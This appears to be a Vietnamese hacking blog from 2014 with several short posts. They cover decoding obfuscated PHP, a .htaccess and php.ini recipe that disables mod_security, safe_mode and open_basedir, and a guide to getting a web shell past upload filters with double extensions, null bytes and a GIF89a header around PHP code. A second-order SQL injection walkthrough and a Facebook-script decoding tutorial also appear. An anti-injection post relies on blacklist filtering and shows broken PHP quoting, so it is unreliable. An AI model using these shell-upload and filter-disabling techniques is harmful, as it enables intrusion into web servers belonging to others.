Monday, June 23, 2014

How to Encoder - Decode php

How to Encoder - Decode php

01. Mã hóa Md5:

Thuật toán này thường được dùng để mã hóa mật khẩu một chiều, và hầu như khó có thể dịch ngược lại được.
Để mã hóa các bạn vào trang:
http://7thspace.com/webmaster_tools/online_md5_encoder.html

02. Mã hóa dạng: eval(base64_decode

<?php $o="encrypted text";eval(base64_decode('rubbish'));return;?>

Để giải mã đoạn code bị mã họa dạng này, bạn chỉ cần copy đoạn "'encrypted text" vào khung và nhấn nút Decode this Mess là được.
Trang web với công cụ giải mã:
http://ottodestruct.com/decoder.php

03. Mã hóa dạng: eval(gzinflate(base64_decode('encrypted text')));

eval(gzinflate(base64_decode('80jNyclXyFTPVUhJTc5PSU0BAA==')));
Để giải mã đoạn code bị mã hóa dạng này, bạn chỉ cần copy đoạn: "80jNyclXyFTPVUhJTc5PSU0BAA==" vào khung và nhấn decode là được.
Công cụ giải mã:
http://www.tareeinternet.com/scripts/decrypt.php

04. Mã hóa dạng Rubbish:

Dạng chung:

<?php $_F=__FILE__;$_X='encrypted text';eval(base64_decode('rubbish'));?>

Để giải mã, bạn copy đoạn "encrypted text" vào khung và nhấn Decode this Rubbish.
Công cụ giải mã:
http://www.tareeinternet.com/scripts/byterun.php

05. Mã hóa dạng ROT13:

Để giải mã, các bạn vào trang:
http://rot13-encoder-decoder.waraxe.us/

06. Mã hóa dạng Unpacker:

Dạng tổng quát:

eval(function(p,a,c,k,e,r)... ...{}))
Để giải mã dạng mã hóa này, bạn hãy copy nguyên đoạn mã hóa và vào trang web sau:
http://matthewfl.com/unPacker.html

.htaccess safe mode Off​

safe mode Off​ with .htaccess 

nội dung file .htaccess:

Options +FollowSymLinks
DirectoryIndex ssssss.htm
Options All Indexes

<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckCookieFormat Off
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies Off
</IfModule>

SetEnv PHPRC /home/user/public_html/php.ini
suPHP_ConfigPath /home/user/public_html/php.ini 
Options +FollowSymLinks
DirectoryIndex ssssss.htm
Options All Indexes
<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckCookieFormat Off
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies Off
</IfModule> 

Nội dung file php.ini:

safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF 

và nội dung file ini.php

ini_restore("safe_mode");
ini_restore("open_basedir"); 

how to upload shell

How to upload shell

a. Không thấy cấm loại file nào, thế thì cho nguyên cái gì vào cũng được
b. Thử upload các loại file thông dụng: asp, aspx, php, php3, php5, cgi, pl, py, jsp.
c. Nếu nó cấm hết ở mục b thì ta thử các file pro hơn: exe, bat <— đừng hỏi run cái loại này thế nào nhé . vì đơn giản là mình không biết  ( đùa  )
d. Nếu cho upload mỗi file image (bmp, gif, jpg, jpeg) thì sao ?
+ Thử thay đuôi cá xem : shell.php.jpg
+ Thử chơi NULL byte: shell.php.jpg
+ Thử mấy HEX byte chơi trội: shell.php%25%30%30.jpg
+ Thử mấy Unicode Byte shell.phpU+0025U+0030.jpg
+ Kiếm một file ảnh JPG, nhét nguyên code con shell vào trong comment của photo
+ Chèn code shell vào header của photo

GIF89a
<?php //code shell ?>
Bypass up ảnh

Đổi shell php thành một trong các kiểu.
shell.php;.jpg
shell.php.jpg
shell.php..jpg
shell.php.jpg
shell.php.jpg:;
shell.php.jpg%;
shell.php.jpg;
shell.php.jpg;
shell.php.jpg:;
+ Trường hợp chuối: nó kiểm tra file type bằng cách soi ngay cái đuôi liền ví dụ: photo.jpg <– được, nhưng photo.x.jpg <— cái này không được … tự hiểu cách xử lý củ chuối này nha
+ Cao cấp: upload qua SQL Injection , ví dụ với MySQL thì loadfile() <— tuy nhiên chỉ cắn được nếu user là root@localhost; MSSQL hay Oracle thì chuối hơn …
+ Cao cấp: upload bừa một file html lên xem có được hay không <— hiểu ý chưa ^^!

Tìm vị trí file đã upload lên:

+ Up xong nó cho cái link file đã upload –> sướng
+ Dùng scanner để tìm các folder rồi lần mò vị trí file uploaded
+ Nhìn loanh quanh xem mấy vị trí nó để photo hay tài liệu gì đó xem link nó thế nào rồi kiểm tra thử
+ Phán đoán & suy luận & kinh nghiệm

Sunday, June 22, 2014

Anti SQL Injection

Các cách phòng chống SQL Injection

Ngay từ khái niệm, chúng ta đã có thể biết được cách phòng chống hiệu quả Sql injection chính là việc kiểm tra kỹ càng tham số đầu vào. Những tham số mà từ đó người lập trình website sử dụng để xây dựng lên câu truy vấn tới cơ sở dữ liệu.

Công việc kiểm tra tham số đầu vào (áp dụng phòng tránh lỗi Sql injection) nên được tiến hành theo nhiều tầng:

Client: javascript (có thể bypass bằng các phần mềm tamper)
Server: C#, php, jsp


- Kiểm tra kiểu của dữ liệu: đối với dữ liệu kiểu số, kiểu chuỗi … chúng ta phải có những hàm validate tương ứng.

o Nếu là kiểu int:

ASP.NET: Int32.Parse(/*Param*/);
PHP: is_numeric($var), is_int($var), is_integer($var)...


o Nếu là kiểu chuỗi:

Thiết lập độ dài tối đa cần thiết: length <= MAX_LENGTH
Lọc bỏ ký tự nguy hiểm (bao gồm các meta characters trong DBMS), lọc bỏ các từ khóa như union, select, order, information_schema, insert, drop, load_file… (sử dụng các hàm như mysql_real_escape_string(), preg_replace()…)



Ví dụ:

Mã nguồn PHP:
<?php
$id = mysql_real_escape_string($_GET['id']);
$query = mysql_query("SELECT * FROM table where id = "' .$id. '");
?>

Mã nguồn PHP:
<?php
$id = preg_replace("/[^0-9]/","", $_GET['id']);
$query = mysql_query("SELECT * FROM table where id = "' .$id. '");
?>



Kiểm tra xem định dạng chuỗi: email, username, password… đều có một định dạng nhất định, do đó có thể viết các biểu thức chính qui (Regular Expression) cho mỗi định dạng này.

C#: System.Text.RegularExpressions;
PHP: preg_match(); ...
Java: Pattern.matcher(); ...

o Sử dụng các thư viện hỗ trợ:

C#: Parameters


cmd.Parameters.Add("@var", SqlDbType.Int);
cmd.Parameters["@var"].Value = input;


o Phân quyền SQL

Tài khoản sử dụng cho ứng dụng web trong cơ sở dữ liệu dĩ nhiên phải có quyền đọc. Nhưng khi thực hiện thao tác thêm bài viết, thêm user thì nó phải cần thêm quyền ghi nữa. Do đó, tùy vào mỗi trường hợp mà ta thiết lập role phù hợp cho mỗi tài khoản web tương tác với cơ sở dữ liệu. Với những ứng dụng web thông thường, tài khoản cho ứng dụng web trong SQL SERVER nên chỉ được thiết lập quyền đọc (SELECT) (db_datareader) và quyền ghi (INSERT, UPDATE) (db_datawriter) như vậy sẽ không có quyền xóa một table.

Second-order Injection

Second-order Injection

Đây là kỹ thuật ít được sử dụng vì rất khó để nhận biết một ứng dụng web có bị mặc lỗi này hay không. Kỹ thuật này được mô tả như sau : Trước hết, ta sẽ “inject” vào cơ sở dữ liệu một đoạn mã. Đoạn mã này chưa hề gây nguy hiểm cho hệ thống nhưng nó sẽ được sử dụng làm bàn đạp cho lần inject tiếp theo. Chúng ta hãy xem một ví dụ cụ thể để hiểu hơn về kỹ thuật này.

Chúng ta sẽ truy cập vào một ứng dụng web và tìm cách đăng ký một tài khoản có username là "administrator' --"(admin' --). Sau đó chúng ta sẽ thực hiện thao tác thay đổi mật khẩu. Thao tác thay đổi mật khẩu được ứng dựng web xử lý như sau :





Với username đã đăng ký ở trên, câu truy vấn trên trở thành :




Như vậy, ta có thể thay đổi được password của tài khoản administrator và hoàn toàn có thể đăng nhập dưới tên tài khoảnadministrator.

Wednesday, June 18, 2014

Tools En/Decode Base64 by THT

Tools En/Decode Base64 by THT


Link Download : En/Decode Base64

Decode javascript

How to decode javascript in auto like sub facebook !!

Step 1: Open file or link
example : http://up.m-wap.eu/u/chibinew12.txt
Step 2: Fomat form with jsbeautifier.org/
Copy all text in step 1, Paste and click "Beautify JavaScript or HTML"
Step 3: See line 1 "\x76\x61\x6C\x75\x65" --> Hex coder
Next you visite site : http://ddecode.com/hexdecoder/ paste it and click "decode"

Decoded results:


Step 4: Similarly with the remaining lines !!.
We noticed sequence : "send", "100006064180469", "100003489418766", "100005252313938", "100007881486175"
"100007833065308", "100008101780640", "100008219767942", "100008280002992", "100008239474962", "script",
This is id of facebook : Example :
https://www.fb.com/100006064180469 <-.-> https://www.fb.com/kieu.oc

End Tut !
Posted by Error6x9